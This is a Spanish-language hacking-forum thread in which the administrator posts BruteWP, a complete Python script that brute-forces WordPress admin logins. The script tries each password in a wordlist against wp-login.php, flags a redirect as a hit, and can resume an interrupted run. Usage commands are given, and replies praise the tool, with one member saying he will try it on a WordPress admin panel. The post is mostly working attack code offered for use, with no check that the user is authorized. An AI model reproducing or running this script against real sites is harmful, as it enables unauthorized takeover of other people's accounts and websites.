Wordpress Brute Force

  • 4 Respuestas
  • 5617 Vistas

0 Usuarios y 2 Visitantes están viendo este tema.

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5774
  • Actividad:
    100%
  • Country: ar
  • Reputación 42
  • ANTRAX
  • Twitter: @Underc0de
    • Ver Perfil
    • Underc0de
    • Email

Wordpress Brute Force

  • en: Agosto 25, 2015, 03:03:19 pm

Existe una herramienta muy buena para la auditoría de CMS WordPress, su nombre es Wpscan, esta herramienta permite realizar un análisis de vulnerabilidades para este tipo de gestor de contenidos. Además, esta herramienta permite realizar un ataque de fuerza bruta, el problema radica principalmente en que el ataque de fuerza bruta que hace esta herramienta entrega muchos falsos positivos, por esta razón se comprobó que no es muy fiable al momento de realizar este tipo de ataques.

Por esta razón se desarrolló una herramienta escrita en Python la cual se denominó BruteWP. Esta herramienta permite realizar un ataque de fuerza bruta de manera efectiva y para cualquier versión de WordPress

Forma de uso:

Código: (bash) You are not allowed to view links. Register or Login
./BruteWP.py -h

./BruteWP.py -t [target] -u [user] -w [wordlist] -r [restaurar ataque]


Como se puede observar en la imagen anterior, este script requiere parámetros obligatorios como son, la URL ejemplo : You are not allowed to view links. Register or Login, el username (Para obtener el username se puede utilizar la herramienta Wpscan), y finalmente el diccionario.

El valor agregado que posee esta herramienta, es que si se desea pausar el escaneo, es posible reanudarlo en cualquier momento con la opción -r, esto es muy útil, ya que así se podrá continuar con la auditoría sin ningún problema.

Código: (python) You are not allowed to view links. Register or Login
#!/usr/bin/python
#-*- coding:UTF-8 -*-
import argparse
import httplib
import urllib
import socket
import time

def attack(target,user,wordlist, restore = None):
    i= target.find("/")
    site = target[:i]
    post = target[i:]
    iteracion = open('iteracion.txt','a+')
    wordlist = open(wordlist, 'r+')
    it = iteracion.readlines()
    if len(it) == 0:
        iteracion.write("1\n")
        iteracion.close()
        iteracion = open('iteracion.txt','r+')
        it = iteracion.readlines()
    it2= int(str(it[len(it)-1]).strip())
    aux = wordlist.readlines()
    test = aux[it2-1:]
    cont = it2
    if restore:
print "Restaurando ataque...\n"
    else:
        test = aux
        cont=1
        iteracion = open('iteracion.txt','w+')
    for password in test:
        try:
            cabeceras = {"Content-type": "application/x-www-form-urlencoded","Accept": "text/plain"}
            parametros = urllib.urlencode({'log': user,'pwd':password.strip()})
            abrir_conexion = httplib.HTTPConnection(site)
            abrir_conexion.request("POST", post, parametros, cabeceras)
            respuesta = abrir_conexion.getresponse()
            if respuesta.status == 302 or respuesta.status == 303:
                print '%d- Password: %s FOUND!!!' %(cont,password.strip())
                break
            elif respuesta.status == 200:
                print '%d- Password: %s Not found!!!' %(cont,password.strip())
            else:
                print 'ERROR!!!!'
            cont+=1
            abrir_conexion.close()
        except KeyboardInterrupt:
            print '\n[*]Ejecución terminada por el teclado[*]'
            print '[*]Status saved![*]'
            iteracion.write(str(cont)+"\n")
            break
        except (socket.gaierror, socket.error,httplib.BadStatusLine):
            print '[*]Status saved![*]'
            iteracion.write(str(cont)+'\n')
            time.sleep(5)
            continue


def conexion():
    parser = argparse.ArgumentParser(usage="./BruteWP.py -t [target] -u [user] -w [wordlist]")
    parser.add_argument("-t", help="Target a atacar. ejemplo: www.sitewordpress/wp-login.php")
    parser.add_argument("-u", help="Nombre de usuario de WordPress")
    parser.add_argument("-w", help="Diccionario para realizar el ataque")
    parser.add_argument("-r", action="store_true", help="Restaura la última sesión del ataque")
    args = parser.parse_args()
   
    print """
 ____             _     __        ______ 
| __ ) _ __ _   _| |_ __\ \      / /  _ \
|  _ \| '__| | | | __/ _ \ \ /\ / /| |_) |
| |_) | |  | |_| | ||  __/\ V  V / |  __/
|____/|_|   \__,_|\__\___| \_/\_/  |_|   
                                        v 1.1 @Samuel.E
    """
    if args.u != None and args.w != None and args.t != None and args.r:
        attack(args.t,args.u,args.w, True)
    elif args.u != None and args.w != None and args.t != None:
        attack(args.t,args.u,args.w)
    else:
        parser.print_help()
   


if __name__ == '__main__':
    conexion()

Repo: You are not allowed to view links. Register or Login

Saludos!
ANTRAX


Desconectado DeBobiPro

  • *
  • Ex-Staff
  • *****
  • Mensajes: 328
  • Actividad:
    0%
  • Reputación 6
  • Como no sabía que era imposible, lo hice.
    • Ver Perfil

Re:Wordpress Brute Force

  • en: Agosto 25, 2015, 03:34:19 pm
Interesante !!

Muchas gracias @You are not allowed to view links. Register or Login !
Nivel 77 You are not allowed to view links. Register or Login

Desconectado zoro248

  • *
  • Underc0der
  • Mensajes: 238
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email

Re:Wordpress Brute Force

  • en: Agosto 25, 2015, 05:21:18 pm
En el caso de la pausa por primera vez, como se realiza? para que pueda ser restaurado sin problemas [se me ocurre Ctrl + c]


Saludos!

Desconectado Alvares97

  • *
  • Underc0der
  • Mensajes: 67
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email

Re:Wordpress Brute Force

  • en: Agosto 27, 2015, 03:59:29 pm
Muy interesante esta Herramienta  :)

Desconectado Payasako

  • *
  • Underc0der
  • Mensajes: 82
  • Actividad:
    0%
  • Reputación 0
  • Éxito o fracaso, libertad o condena.
  • Twitter: @Payasak0
    • Ver Perfil

Re:Wordpress Brute Force

  • en: Septiembre 03, 2015, 02:28:31 pm
Pedazo de tool, será un placer probarla contra algún panel de administración de WordPress.  Muy grande, @You are not allowed to view links. Register or Login